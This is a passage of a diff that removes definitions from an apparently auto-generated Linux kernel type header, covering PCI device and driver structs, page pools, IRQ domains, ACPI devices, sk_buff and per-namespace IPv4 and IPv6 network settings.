PCI_ROM_RESOURCE = 6, - PCI_IOV_RESOURCES = 7, - PCI_IOV_RESOURCE_END = 12, - PCI_BRIDGE_RESOURCES = 13, - PCI_BRIDGE_RESOURCE_END = 16, - PCI_NUM_RESOURCES = 17, - DEVICE_COUNT_RESOURCE = 17, -}; - -typedef int pci_power_t; - -typedef unsigned int pci_channel_state_t; - -typedef unsigned int pcie_reset_state_t; - -typedef short unsigned int pci_dev_flags_t; - -struct pci_vpd { - struct mutex lock; - unsigned int len; - u8 cap; -}; - -struct pci_sriov { - int pos; - int nres; - u32 cap; - u16 ctrl; - u16 total_VFs; - u16 initial_VFs; - u16 num_VFs; - u16 offset; - u16 stride; - u16 vf_device; - u32 pgsz; - u8 link; - u8 max_VF_buses; - u16 driver_max_VFs; - struct pci_dev *dev; - struct pci_dev *self; - u32 class; - u8 hdr_type; - u16 subsystem_vendor; - u16 subsystem_device; - resource_size_t barsz[6]; - bool drivers_autoprobe; -}; - -struct rcec_ea; - -struct pci_driver; - -struct pcie_link_state; - -struct pci_dev { - struct list_head bus_list; - struct pci_bus *bus; - struct pci_bus *subordinate; - void *sysdata; - struct proc_dir_entry *procent; - struct pci_slot *slot; - unsigned int devfn; - short unsigned int vendor; - short unsigned int device; - short unsigned int subsystem_vendor; - short unsigned int subsystem_device; - unsigned int class; - u8 revision; - u8 hdr_type; - struct rcec_ea *rcec_ea; - struct pci_dev *rcec; - u32 devcap; - u8 pcie_cap; - u8 msi_cap; - u8 msix_cap; - u8 pcie_mpss: 3; - u8 rom_base_reg; - u8 pin; - u16 pcie_flags_reg; - long unsigned int *dma_alias_mask; - struct pci_driver *driver; - u64 dma_mask; - struct device_dma_parameters dma_parms; - pci_power_t current_state; - unsigned int imm_ready: 1; - u8 pm_cap; - unsigned int pme_support: 5; - unsigned int pme_poll: 1; - unsigned int d1_support: 1; - unsigned int d2_support: 1; - unsigned int no_d1d2: 1; - unsigned int no_d3cold: 1; - unsigned int bridge_d3: 1; - unsigned int d3cold_allowed: 1; - unsigned int mmio_always_on: 1; - unsigned int wakeup_prepared: 1; - unsigned int skip_bus_pm: 1; - unsigned int ignore_hotplug: 1; - unsigned int hotplug_user_indicators: 1; - unsigned int clear_retrain_link: 1; - unsigned int d3hot_delay; - unsigned int d3cold_delay; - struct pcie_link_state *link_state; - unsigned int ltr_path: 1; - u16 l1ss; - unsigned int pasid_no_tlp: 1; - unsigned int eetlp_prefix_path: 1; - pci_channel_state_t error_state; - struct device dev; - int cfg_size; - unsigned int irq; - struct resource resource[17]; - bool match_driver; - unsigned int transparent: 1; - unsigned int io_window: 1; - unsigned int pref_window: 1; - unsigned int pref_64_window: 1; - unsigned int multifunction: 1; - unsigned int is_busmaster: 1; - unsigned int no_msi: 1; - unsigned int no_64bit_msi: 1; - unsigned int block_cfg_access: 1; - unsigned int broken_parity_status: 1; - unsigned int irq_reroute_variant: 2; - unsigned int msi_enabled: 1; - unsigned int msix_enabled: 1; - unsigned int ari_enabled: 1; - unsigned int ats_enabled: 1; - unsigned int pasid_enabled: 1; - unsigned int pri_enabled: 1; - unsigned int is_managed: 1; - unsigned int is_msi_managed: 1; - unsigned int needs_freset: 1; - unsigned int state_saved: 1; - unsigned int is_physfn: 1; - unsigned int is_virtfn: 1; - unsigned int is_hotplug_bridge: 1; - unsigned int shpc_managed: 1; - unsigned int is_thunderbolt: 1; - unsigned int untrusted: 1; - unsigned int external_facing: 1; - unsigned int broken_intx_masking: 1; - unsigned int io_window_1k: 1; - unsigned int irq_managed: 1; - unsigned int non_compliant_bars: 1; - unsigned int is_probed: 1; - unsigned int link_active_reporting: 1; - unsigned int no_vf_scan: 1; - unsigned int no_command_memory: 1; - unsigned int rom_bar_overlap: 1; - pci_dev_flags_t dev_flags; - atomic_t enable_cnt; - u32 saved_config_space[16]; - struct hlist_head saved_cap_space; - int rom_attr_enabled; - struct bin_attribute *res_attr[17]; - struct bin_attribute *res_attr_wc[17]; - void *msix_base; - raw_spinlock_t msi_lock; - struct pci_vpd vpd; - union { - struct pci_sriov *sriov; - struct pci_dev *physfn; - }; - u16 ats_cap; - u8 ats_stu; - u16 acs_cap; - phys_addr_t rom; - size_t romlen; - const char *driver_override; - long unsigned int priv_flags; - u8 reset_methods[7]; -}; - -struct rcec_ea { - u8 nextbusn; - u8 lastbusn; - u32 bitmap; -}; - -struct pci_dynids { - spinlock_t lock; - struct list_head list; -}; - -struct pci_error_handlers; - -struct pci_driver { - struct list_head node; - const char *name; - const struct pci_device_id *id_table; - int (*probe)(struct pci_dev *, const struct pci_device_id *); - void (*remove)(struct pci_dev *); - int (*suspend)(struct pci_dev *, pm_message_t); - int (*resume)(struct pci_dev *); - void (*shutdown)(struct pci_dev *); - int (*sriov_configure)(struct pci_dev *, int); - int (*sriov_set_msix_vec_count)(struct pci_dev *, int); - u32 (*sriov_get_vf_total_msix)(struct pci_dev *); - const struct pci_error_handlers *err_handler; - const struct attribute_group **groups; - const struct attribute_group **dev_groups; - struct device_driver driver; - struct pci_dynids dynids; - bool driver_managed_dma; -}; - -struct pci_ops { - int (*add_bus)(struct pci_bus *); - void (*remove_bus)(struct pci_bus *); - void * (*map_bus)(struct pci_bus *, unsigned int, int); - int (*read)(struct pci_bus *, unsigned int, int, int, u32 *); - int (*write)(struct pci_bus *, unsigned int, int, int, u32); -}; - -typedef unsigned int pci_ers_result_t; - -struct pci_error_handlers { - pci_ers_result_t (*error_detected)(struct pci_dev *, pci_channel_state_t); - pci_ers_result_t (*mmio_enabled)(struct pci_dev *); - pci_ers_result_t (*slot_reset)(struct pci_dev *); - void (*reset_prepare)(struct pci_dev *); - void (*reset_done)(struct pci_dev *); - void (*resume)(struct pci_dev *); -}; - -typedef __u16 __be16; - -typedef __u32 __be32; - -typedef __u32 __wsum; - -typedef long unsigned int irq_hw_number_t; - -struct blocking_notifier_head { - struct rw_semaphore rwsem; - struct notifier_block *head; -}; - -struct raw_notifier_head { - struct notifier_block *head; -}; - -struct page_pool_params { - unsigned int flags; - unsigned int order; - unsigned int pool_size; - int nid; - struct device *dev; - enum dma_data_direction dma_dir; - unsigned int max_len; - unsigned int offset; - void (*init_callback)(struct page *, void *); - void *init_arg; -}; - -struct pp_alloc_cache { - u32 count; - struct page *cache[128]; -}; - -struct ptr_ring { - int producer; - spinlock_t producer_lock; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - int consumer_head; - int consumer_tail; - spinlock_t consumer_lock; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - int size; - int batch; - void **queue; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct page_pool { - struct page_pool_params p; - struct delayed_work release_dw; - void (*disconnect)(void *); - long unsigned int defer_start; - long unsigned int defer_warn; - u32 pages_state_hold_cnt; - unsigned int frag_offset; - struct page *frag_page; - long int frag_users; - u32 xdp_mem_id; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct pp_alloc_cache alloc; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct ptr_ring ring; - atomic_t pages_state_release_cnt; - refcount_t user_cnt; - u64 destroy_cnt; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -enum irq_domain_bus_token { - DOMAIN_BUS_ANY = 0, - DOMAIN_BUS_WIRED = 1, - DOMAIN_BUS_GENERIC_MSI = 2, - DOMAIN_BUS_PCI_MSI = 3, - DOMAIN_BUS_PLATFORM_MSI = 4, - DOMAIN_BUS_NEXUS = 5, - DOMAIN_BUS_IPI = 6, - DOMAIN_BUS_FSL_MC_MSI = 7, - DOMAIN_BUS_TI_SCI_INTA_MSI = 8, - DOMAIN_BUS_WAKEUP = 9, - DOMAIN_BUS_VMD_MSI = 10, -}; - -struct irq_domain_ops; - -struct irq_domain_chip_generic; - -struct irq_data; - -struct irq_domain { - struct list_head link; - const char *name; - const struct irq_domain_ops *ops; - void *host_data; - unsigned int flags; - unsigned int mapcount; - struct fwnode_handle *fwnode; - enum irq_domain_bus_token bus_token; - struct irq_domain_chip_generic *gc; - struct device *dev; - struct irq_domain *parent; - irq_hw_number_t hwirq_max; - unsigned int revmap_size; - struct xarray revmap_tree; - struct mutex revmap_mutex; - struct irq_data *revmap[0]; -}; - -struct rhashtable; - -struct rhashtable_compare_arg { - struct rhashtable *ht; - const void *key; -}; - -typedef u32 (*rht_hashfn_t)(const void *, u32, u32); - -typedef u32 (*rht_obj_hashfn_t)(const void *, u32, u32); - -typedef int (*rht_obj_cmpfn_t)(struct rhashtable_compare_arg *, const void *); - -struct rhashtable_params { - u16 nelem_hint; - u16 key_len; - u16 key_offset; - u16 head_offset; - unsigned int max_size; - u16 min_size; - bool automatic_shrinking; - rht_hashfn_t hashfn; - rht_obj_hashfn_t obj_hashfn; - rht_obj_cmpfn_t obj_cmpfn; -}; - -struct bucket_table; - -struct rhashtable { - struct bucket_table *tbl; - unsigned int key_len; - unsigned int max_elems; - struct rhashtable_params p; - bool rhlist; - struct work_struct run_work; - struct mutex mutex; - spinlock_t lock; - atomic_t nelems; -}; - -struct pipe_buffer; - -struct pipe_inode_info { - struct mutex mutex; - wait_queue_head_t rd_wait; - wait_queue_head_t wr_wait; - unsigned int head; - unsigned int tail; - unsigned int max_usage; - unsigned int ring_size; - unsigned int nr_accounted; - unsigned int readers; - unsigned int writers; - unsigned int files; - unsigned int r_counter; - unsigned int w_counter; - bool poll_usage; - struct page *tmp_page; - struct fasync_struct *fasync_readers; - struct fasync_struct *fasync_writers; - struct pipe_buffer *bufs; - struct user_struct *user; -}; - -struct irq_fwspec { - struct fwnode_handle *fwnode; - int param_count; - u32 param[16]; -}; - -struct irq_domain_ops { - int (*match)(struct irq_domain *, struct device_node *, enum irq_domain_bus_token); - int (*select)(struct irq_domain *, struct irq_fwspec *, enum irq_domain_bus_token); - int (*map)(struct irq_domain *, unsigned int, irq_hw_number_t); - void (*unmap)(struct irq_domain *, unsigned int); - int (*xlate)(struct irq_domain *, struct device_node *, const u32 *, unsigned int, long unsigned int *, unsigned int *); - int (*alloc)(struct irq_domain *, unsigned int, unsigned int, void *); - void (*free)(struct irq_domain *, unsigned int, unsigned int); - int (*activate)(struct irq_domain *, struct irq_data *, bool); - void (*deactivate)(struct irq_domain *, struct irq_data *); - int (*translate)(struct irq_domain *, struct irq_fwspec *, long unsigned int *, unsigned int *); -}; - -typedef u64 acpi_io_address; - -typedef void *acpi_handle; - -typedef u32 acpi_object_type; - -union acpi_object { - acpi_object_type type; - struct { - acpi_object_type type; - u64 value; - } integer; - struct { - acpi_object_type type; - u32 length; - char *pointer; - } string; - struct { - acpi_object_type type; - u32 length; - u8 *pointer; - } buffer; - struct { - acpi_object_type type; - u32 count; - union acpi_object *elements; - } package; - struct { - acpi_object_type type; - acpi_object_type actual_type; - acpi_handle handle; - } reference; - struct { - acpi_object_type type; - u32 proc_id; - acpi_io_address pblk_address; - u32 pblk_length; - } processor; - struct { - acpi_object_type type; - u32 system_level; - u32 resource_order; - } power_resource; -}; - -struct acpi_device; - -struct acpi_hotplug_profile { - struct kobject kobj; - int (*scan_dependent)(struct acpi_device *); - void (*notify_online)(struct acpi_device *); - bool enabled: 1; - bool demand_offline: 1; -}; - -struct acpi_device_status { - u32 present: 1; - u32 enabled: 1; - u32 show_in_ui: 1; - u32 functional: 1; - u32 battery_present: 1; - u32 reserved: 27; -}; - -struct acpi_device_flags { - u32 dynamic_status: 1; - u32 removable: 1; - u32 ejectable: 1; - u32 power_manageable: 1; - u32 match_driver: 1; - u32 initialized: 1; - u32 visited: 1; - u32 hotplug_notify: 1; - u32 is_dock_station: 1; - u32 of_compatible_ok: 1; - u32 coherent_dma: 1; - u32 cca_seen: 1; - u32 enumeration_by_parent: 1; - u32 honor_deps: 1; - u32 reserved: 18; -}; - -typedef char acpi_bus_id[8]; - -struct acpi_pnp_type { - u32 hardware_id: 1; - u32 bus_address: 1; - u32 platform_id: 1; - u32 reserved: 29; -}; - -typedef u64 acpi_bus_address; - -typedef char acpi_device_name[40]; - -typedef char acpi_device_class[20]; - -struct acpi_device_pnp { - acpi_bus_id bus_id; - int instance_no; - struct acpi_pnp_type type; - acpi_bus_address bus_address; - char *unique_id; - struct list_head ids; - acpi_device_name device_name; - acpi_device_class device_class; - union acpi_object *str_obj; -}; - -struct acpi_device_power_flags { - u32 explicit_get: 1; - u32 power_resources: 1; - u32 inrush_current: 1; - u32 power_removed: 1; - u32 ignore_parent: 1; - u32 dsw_present: 1; - u32 reserved: 26; -}; - -struct acpi_device_power_state { - struct { - u8 valid: 1; - u8 explicit_set: 1; - u8 reserved: 6; - } flags; - int power; - int latency; - struct list_head resources; -}; - -struct acpi_device_power { - int state; - struct acpi_device_power_flags flags; - struct acpi_device_power_state states[5]; - u8 state_for_enumeration; -}; - -struct acpi_device_wakeup_flags { - u8 valid: 1; - u8 notifier_present: 1; -}; - -struct acpi_device_wakeup_context { - void (*func)(struct acpi_device_wakeup_context *); - struct device *dev; -}; - -struct acpi_device_wakeup { - acpi_handle gpe_device; - u64 gpe_number; - u64 sleep_state; - struct list_head resources; - struct acpi_device_wakeup_flags flags; - struct acpi_device_wakeup_context context; - struct wakeup_source *ws; - int prepare_count; - int enable_count; -}; - -struct acpi_device_perf_flags { - u8 reserved: 8; -}; - -struct acpi_device_perf_state; - -struct acpi_device_perf { - int state; - struct acpi_device_perf_flags flags; - int state_count; - struct acpi_device_perf_state *states; -}; - -struct acpi_device_dir { - struct proc_dir_entry *entry; -}; - -struct acpi_device_data { - const union acpi_object *pointer; - struct list_head properties; - const union acpi_object *of_compatible; - struct list_head subnodes; -}; - -struct acpi_scan_handler; - -struct acpi_hotplug_context; - -struct acpi_gpio_mapping; - -struct acpi_device { - u32 pld_crc; - int device_type; - acpi_handle handle; - struct fwnode_handle fwnode; - struct list_head wakeup_list; - struct list_head del_list; - struct acpi_device_status status; - struct acpi_device_flags flags; - struct acpi_device_pnp pnp; - struct acpi_device_power power; - struct acpi_device_wakeup wakeup; - struct acpi_device_perf performance; - struct acpi_device_dir dir; - struct acpi_device_data data; - struct acpi_scan_handler *handler; - struct acpi_hotplug_context *hp; - const struct acpi_gpio_mapping *driver_gpios; - void *driver_data; - struct device dev; - unsigned int physical_node_count; - unsigned int dep_unmet; - struct list_head physical_node_list; - struct mutex physical_node_lock; - void (*remove)(struct acpi_device *); -}; - -struct acpi_scan_handler { - const struct acpi_device_id *ids; - struct list_head list_node; - bool (*match)(const char *, const struct acpi_device_id **); - int (*attach)(struct acpi_device *, const struct acpi_device_id *); - void (*detach)(struct acpi_device *); - void (*bind)(struct device *); - void (*unbind)(struct device *); - struct acpi_hotplug_profile hotplug; -}; - -struct acpi_hotplug_context { - struct acpi_device *self; - int (*notify)(struct acpi_device *, u32); - void (*uevent)(struct acpi_device *, u32); - void (*fixup)(struct acpi_device *); -}; - -struct acpi_device_perf_state { - struct { - u8 valid: 1; - u8 reserved: 7; - } flags; - u8 power; - u8 performance; - int latency; -}; - -struct acpi_gpio_params; - -struct acpi_gpio_mapping { - const char *name; - const struct acpi_gpio_params *data; - unsigned int size; - unsigned int quirks; -}; - -struct acpi_bus_event { - struct list_head node; - acpi_device_class device_class; - acpi_bus_id bus_id; - u32 type; - u32 data; -}; - -typedef unsigned int sk_buff_data_t; - -struct net_device; - -struct skb_ext; - -struct sk_buff { - union { - struct { - struct sk_buff *next; - struct sk_buff *prev; - union { - struct net_device *dev; - long unsigned int dev_scratch; - }; - }; - struct rb_node rbnode; - struct list_head list; - struct llist_node ll_node; - }; - union { - struct sock *sk; - int ip_defrag_offset; - }; - union { - ktime_t tstamp; - u64 skb_mstamp_ns; - }; - char cb[48]; - union { - struct { - long unsigned int _skb_refdst; - void (*destructor)(struct sk_buff *); - }; - struct list_head tcp_tsorted_anchor; - long unsigned int _sk_redir; - }; - long unsigned int _nfct; - unsigned int len; - unsigned int data_len; - __u16 mac_len; - __u16 hdr_len; - __u16 queue_mapping; - __u8 __cloned_offset[0]; - __u8 cloned: 1; - __u8 nohdr: 1; - __u8 fclone: 2; - __u8 peeked: 1; - __u8 head_frag: 1; - __u8 pfmemalloc: 1; - __u8 pp_recycle: 1; - __u8 active_extensions; - union { - struct { - __u8 __pkt_type_offset[0]; - __u8 pkt_type: 3; - __u8 ignore_df: 1; - __u8 nf_trace: 1; - __u8 ip_summed: 2; - __u8 ooo_okay: 1; - __u8 l4_hash: 1; - __u8 sw_hash: 1; - __u8 wifi_acked_valid: 1; - __u8 wifi_acked: 1; - __u8 no_fcs: 1; - __u8 encapsulation: 1; - __u8 encap_hdr_csum: 1; - __u8 csum_valid: 1; - __u8 __pkt_vlan_present_offset[0]; - __u8 remcsum_offload: 1; - __u8 csum_complete_sw: 1; - __u8 csum_level: 2; - __u8 dst_pending_confirm: 1; - __u8 mono_delivery_time: 1; - __u8 tc_skip_classify: 1; - __u8 tc_at_ingress: 1; - __u8 ndisc_nodetype: 2; - __u8 ipvs_property: 1; - __u8 inner_protocol_type: 1; - __u8 redirected: 1; - __u8 nf_skip_egress: 1; - __u8 slow_gro: 1; - __u8 csum_not_inet: 1; - __u8 scm_io_uring: 1; - __u16 tc_index; - union { - __wsum csum; - struct { - __u16 csum_start; - __u16 csum_offset; - }; - }; - __u32 priority; - int skb_iif; - __u32 hash; - union { - u32 vlan_all; - struct { - __be16 vlan_proto; - __u16 vlan_tci; - }; - }; - union { - unsigned int napi_id; - unsigned int sender_cpu; - }; - u16 alloc_cpu; - __u32 secmark; - union { - __u32 mark; - __u32 reserved_tailroom; - }; - union { - __be16 inner_protocol; - __u8 inner_ipproto; - }; - __u16 inner_transport_header; - __u16 inner_network_header; - __u16 inner_mac_header; - __be16 protocol; - __u16 transport_header; - __u16 network_header; - __u16 mac_header; - }; - struct { - __u8 __pkt_type_offset[0]; - __u8 pkt_type: 3; - __u8 ignore_df: 1; - __u8 nf_trace: 1; - __u8 ip_summed: 2; - __u8 ooo_okay: 1; - __u8 l4_hash: 1; - __u8 sw_hash: 1; - __u8 wifi_acked_valid: 1; - __u8 wifi_acked: 1; - __u8 no_fcs: 1; - __u8 encapsulation: 1; - __u8 encap_hdr_csum: 1; - __u8 csum_valid: 1; - __u8 __pkt_vlan_present_offset[0]; - __u8 remcsum_offload: 1; - __u8 csum_complete_sw: 1; - __u8 csum_level: 2; - __u8 dst_pending_confirm: 1; - __u8 mono_delivery_time: 1; - __u8 tc_skip_classify: 1; - __u8 tc_at_ingress: 1; - __u8 ndisc_nodetype: 2; - __u8 ipvs_property: 1; - __u8 inner_protocol_type: 1; - __u8 redirected: 1; - __u8 nf_skip_egress: 1; - __u8 slow_gro: 1; - __u8 csum_not_inet: 1; - __u8 scm_io_uring: 1; - __u16 tc_index; - union { - __wsum csum; - struct { - __u16 csum_start; - __u16 csum_offset; - }; - }; - __u32 priority; - int skb_iif; - __u32 hash; - union { - u32 vlan_all; - struct { - __be16 vlan_proto; - __u16 vlan_tci; - }; - }; - union { - unsigned int napi_id; - unsigned int sender_cpu; - }; - u16 alloc_cpu; - __u32 secmark; - union { - __u32 mark; - __u32 reserved_tailroom; - }; - union { - __be16 inner_protocol; - __u8 inner_ipproto; - }; - __u16 inner_transport_header; - __u16 inner_network_header; - __u16 inner_mac_header; - __be16 protocol; - __u16 transport_header; - __u16 network_header; - __u16 mac_header; - } headers; - }; - sk_buff_data_t tail; - sk_buff_data_t end; - unsigned char *head; - unsigned char *data; - unsigned int truesize; - refcount_t users; - struct skb_ext *extensions; -}; - -struct ref_tracker_dir {}; - -struct prot_inuse; - -struct netns_core { - struct ctl_table_header *sysctl_hdr; - int sysctl_somaxconn; - u8 sysctl_txrehash; - struct prot_inuse *prot_inuse; -}; - -struct ipstats_mib; - -struct tcp_mib; - -struct linux_mib; - -struct udp_mib; - -struct linux_tls_mib; - -struct mptcp_mib; - -struct icmp_mib; - -struct icmpmsg_mib; - -struct icmpv6_mib; - -struct icmpv6msg_mib; - -struct netns_mib { - struct ipstats_mib *ip_statistics; - struct ipstats_mib *ipv6_statistics; - struct tcp_mib *tcp_statistics; - struct linux_mib *net_statistics; - struct udp_mib *udp_statistics; - struct udp_mib *udp_stats_in6; - struct linux_tls_mib *tls_statistics; - struct mptcp_mib *mptcp_statistics; - struct udp_mib *udplite_statistics; - struct udp_mib *udplite_stats_in6; - struct icmp_mib *icmp_statistics; - struct icmpmsg_mib *icmpmsg_statistics; - struct icmpv6_mib *icmpv6_statistics; - struct icmpv6msg_mib *icmpv6msg_statistics; - struct proc_dir_entry *proc_net_devsnmp6; -}; - -struct netns_packet { - struct mutex sklist_lock; - struct hlist_head sklist; -}; - -struct unix_table { - spinlock_t *locks; - struct hlist_head *buckets; -}; - -struct netns_unix { - struct unix_table table; - int sysctl_max_dgram_qlen; - struct ctl_table_header *ctl; -}; - -struct netns_nexthop { - struct rb_root rb_root; - struct hlist_head *devhash; - unsigned int seq; - u32 last_id_allocated; - struct blocking_notifier_head notifier_chain; -}; - -struct inet_hashinfo; - -struct inet_timewait_death_row { - refcount_t tw_refcount; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct inet_hashinfo *hashinfo; - int sysctl_max_tw_buckets; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct local_ports { - seqlock_t lock; - int range[2]; - bool warned; -}; - -struct ping_group_range { - seqlock_t lock; - kgid_t range[2]; -}; - -typedef struct { - u64 key[2]; -} siphash_key_t; - -struct udp_table; - -struct ipv4_devconf; - -struct ip_ra_chain; - -struct fib_rules_ops; - -struct fib_table; - -struct inet_peer_base; - -struct fqdir; - -struct tcp_congestion_ops; - -struct tcp_fastopen_context; - -struct mr_table; - -struct fib_notifier_ops; - -struct netns_ipv4 { - struct inet_timewait_death_row tcp_death_row; - struct udp_table *udp_table; - struct ctl_table_header *forw_hdr; - struct ctl_table_header *frags_hdr; - struct ctl_table_header *ipv4_hdr; - struct ctl_table_header *route_hdr; - struct ctl_table_header *xfrm4_hdr; - struct ipv4_devconf *devconf_all; - struct ipv4_devconf *devconf_dflt; - struct ip_ra_chain *ra_chain; - struct mutex ra_mutex; - struct fib_rules_ops *rules_ops; - struct fib_table *fib_main; - struct fib_table *fib_default; - unsigned int fib_rules_require_fldissect; - bool fib_has_custom_rules; - bool fib_has_custom_local_routes; - bool fib_offload_disabled; - struct hlist_head *fib_table_hash; - struct sock *fibnl; - struct sock *mc_autojoin_sk; - struct inet_peer_base *peers; - struct fqdir *fqdir; - u8 sysctl_icmp_echo_ignore_all; - u8 sysctl_icmp_echo_enable_probe; - u8 sysctl_icmp_echo_ignore_broadcasts; - u8 sysctl_icmp_ignore_bogus_error_responses; - u8 sysctl_icmp_errors_use_inbound_ifaddr; - int sysctl_icmp_ratelimit; - int sysctl_icmp_ratemask; - u32 ip_rt_min_pmtu; - int ip_rt_mtu_expires; - int ip_rt_min_advmss; - struct local_ports ip_local_ports; - u8 sysctl_tcp_ecn; - u8 sysctl_tcp_ecn_fallback; - u8 sysctl_ip_default_ttl; - u8 sysctl_ip_no_pmtu_disc; - u8 sysctl_ip_fwd_use_pmtu; - u8 sysctl_ip_fwd_update_priority; - u8 sysctl_ip_nonlocal_bind; - u8 sysctl_ip_autobind_reuse; - u8 sysctl_ip_dynaddr; - u8 sysctl_ip_early_demux; - u8 sysctl_raw_l3mdev_accept; - u8 sysctl_tcp_early_demux; - u8 sysctl_udp_early_demux; - u8 sysctl_nexthop_compat_mode; - u8 sysctl_fwmark_reflect; - u8 sysctl_tcp_fwmark_accept; - u8 sysctl_tcp_l3mdev_accept; - u8 sysctl_tcp_mtu_probing; - int sysctl_tcp_mtu_probe_floor; - int sysctl_tcp_base_mss; - int sysctl_tcp_min_snd_mss; - int sysctl_tcp_probe_threshold; - u32 sysctl_tcp_probe_interval; - int sysctl_tcp_keepalive_time; - int sysctl_tcp_keepalive_intvl; - u8 sysctl_tcp_keepalive_probes; - u8 sysctl_tcp_syn_retries; - u8 sysctl_tcp_synack_retries; - u8 sysctl_tcp_syncookies; - u8 sysctl_tcp_migrate_req; - u8 sysctl_tcp_comp_sack_nr; - int sysctl_tcp_reordering; - u8 sysctl_tcp_retries1; - u8 sysctl_tcp_retries2; - u8 sysctl_tcp_orphan_retries; - u8 sysctl_tcp_tw_reuse; - int sysctl_tcp_fin_timeout; - unsigned int sysctl_tcp_notsent_lowat; - u8 sysctl_tcp_sack; - u8 sysctl_tcp_window_scaling; - u8 sysctl_tcp_timestamps; - u8 sysctl_tcp_early_retrans; - u8 sysctl_tcp_recovery; - u8 sysctl_tcp_thin_linear_timeouts; - u8 sysctl_tcp_slow_start_after_idle; - u8 sysctl_tcp_retrans_collapse; - u8 sysctl_tcp_stdurg; - u8 sysctl_tcp_rfc1337; - u8 sysctl_tcp_abort_on_overflow; - u8 sysctl_tcp_fack; - int sysctl_tcp_max_reordering; - int sysctl_tcp_adv_win_scale; - u8 sysctl_tcp_dsack; - u8 sysctl_tcp_app_win; - u8 sysctl_tcp_frto; - u8 sysctl_tcp_nometrics_save; - u8 sysctl_tcp_no_ssthresh_metrics_save; - u8 sysctl_tcp_moderate_rcvbuf; - u8 sysctl_tcp_tso_win_divisor; - u8 sysctl_tcp_workaround_signed_windows; - int sysctl_tcp_limit_output_bytes; - int sysctl_tcp_challenge_ack_limit; - int sysctl_tcp_min_rtt_wlen; - u8 sysctl_tcp_min_tso_segs; - u8 sysctl_tcp_tso_rtt_log; - u8 sysctl_tcp_autocorking; - u8 sysctl_tcp_reflect_tos; - int sysctl_tcp_invalid_ratelimit; - int sysctl_tcp_pacing_ss_ratio; - int sysctl_tcp_pacing_ca_ratio; - int sysctl_tcp_wmem[3]; - int sysctl_tcp_rmem[3]; - unsigned int sysctl_tcp_child_ehash_entries; - long unsigned int sysctl_tcp_comp_sack_delay_ns; - long unsigned int sysctl_tcp_comp_sack_slack_ns; - int sysctl_max_syn_backlog; - int sysctl_tcp_fastopen; - const struct tcp_congestion_ops *tcp_congestion_control; - struct tcp_fastopen_context *tcp_fastopen_ctx; - unsigned int sysctl_tcp_fastopen_blackhole_timeout; - atomic_t tfo_active_disable_times; - long unsigned int tfo_active_disable_stamp; - u32 tcp_challenge_timestamp; - u32 tcp_challenge_count; - u8 sysctl_tcp_plb_enabled; - u8 sysctl_tcp_plb_idle_rehash_rounds; - u8 sysctl_tcp_plb_rehash_rounds; - u8 sysctl_tcp_plb_suspend_rto_sec; - int sysctl_tcp_plb_cong_thresh; - int sysctl_udp_wmem_min; - int sysctl_udp_rmem_min; - u8 sysctl_fib_notify_on_flag_change; - u8 sysctl_udp_l3mdev_accept; - u8 sysctl_igmp_llm_reports; - int sysctl_igmp_max_memberships; - int sysctl_igmp_max_msf; - int sysctl_igmp_qrv; - struct ping_group_range ping_group_range; - atomic_t dev_addr_genid; - unsigned int sysctl_udp_child_hash_entries; - long unsigned int *sysctl_local_reserved_ports; - int sysctl_ip_prot_sock; - struct mr_table *mrt; - u32 sysctl_fib_multipath_hash_fields; - u8 sysctl_fib_multipath_use_neigh; - u8 sysctl_fib_multipath_hash_policy; - struct fib_notifier_ops *notifier_ops; - unsigned int fib_seq; - struct fib_notifier_ops *ipmr_notifier_ops; - unsigned int ipmr_seq; - atomic_t rt_genid; - siphash_key_t ip_id_key; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct dst_entry; - -struct neighbour; - -struct dst_ops { - short unsigned int family; - unsigned int gc_thresh; - int (*gc)(struct dst_ops *); - struct dst_entry * (*check)(struct dst_entry *, __u32); - unsigned int (*default_advmss)(const struct dst_entry *); - unsigned int (*mtu)(const struct dst_entry *); - u32 * (*cow_metrics)(struct dst_entry *, long unsigned int); - void (*destroy)(struct dst_entry *); - void (*ifdown)(struct dst_entry *, struct net_device *, int); - struct dst_entry * (*negative_advice)(struct dst_entry *); - void (*link_failure)(struct sk_buff *); - void (*update_pmtu)(struct dst_entry *, struct sock *, struct sk_buff *, u32, bool); - void (*redirect)(struct dst_entry *, struct sock *, struct sk_buff *); - int (*local_out)(struct net *, struct sock *, struct sk_buff *); - struct neighbour * (*neigh_lookup)(const struct dst_entry *, struct sk_buff *, const void *); - void (*confirm_neigh)(const struct dst_entry *, const void *); - struct kmem_cache *kmem_cachep; - struct percpu_counter pcpuc_entries; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct netns_sysctl_ipv6 { - struct ctl_table_header *hdr; - struct ctl_table_header *route_hdr; - struct ctl_table_header *icmp_hdr; - struct ctl_table_header *frags_hdr; - struct ctl_table_header *xfrm6_hdr; - int flush_delay; - int ip6_rt_max_size; - int ip6_rt_gc_min_interval; - int ip6_rt_gc_timeout; - int ip6_rt_gc_interval; - int ip6_rt_gc_elasticity; - int ip6_rt_mtu_expires; - int ip6_rt_min_advmss; - u32 multipath_hash_fields; - u8 multipath_hash_policy; - u8 bindv6only; - u8 flowlabel_consistency; - u8 auto_flowlabels; - int icmpv6_time; - u8 icmpv6_echo_ignore_all; - u8 icmpv6_echo_ignore_multicast; - u8 icmpv6_echo_ignore_anycast; - long unsigned int icmpv6_ratemask[4]; - long unsigned int *icmpv6_ratemask_ptr; - u8 anycast_src_echo_reply; - u8 ip_nonlocal_bind; - u8 fwmark_reflect; - u8 flowlabel_state_ranges; - int idgen_retries; - int idgen_delay; - int flowlabel_reflect; - int max_dst_opts_cnt; - int max_hbh_opts_cnt; - int max_dst_opts_len; - int max_hbh_opts_len; - int seg6_flowlabel; - u32 ioam6_id; - u64 ioam6_id_wide; - bool skip_notify_on_dev_down; - u8 fib_notify_on_flag_change; -}; - -struct ipv6_devconf; - -struct fib6_info; - -struct rt6_info; - -struct rt6_statistics; - -struct fib6_table; - -struct 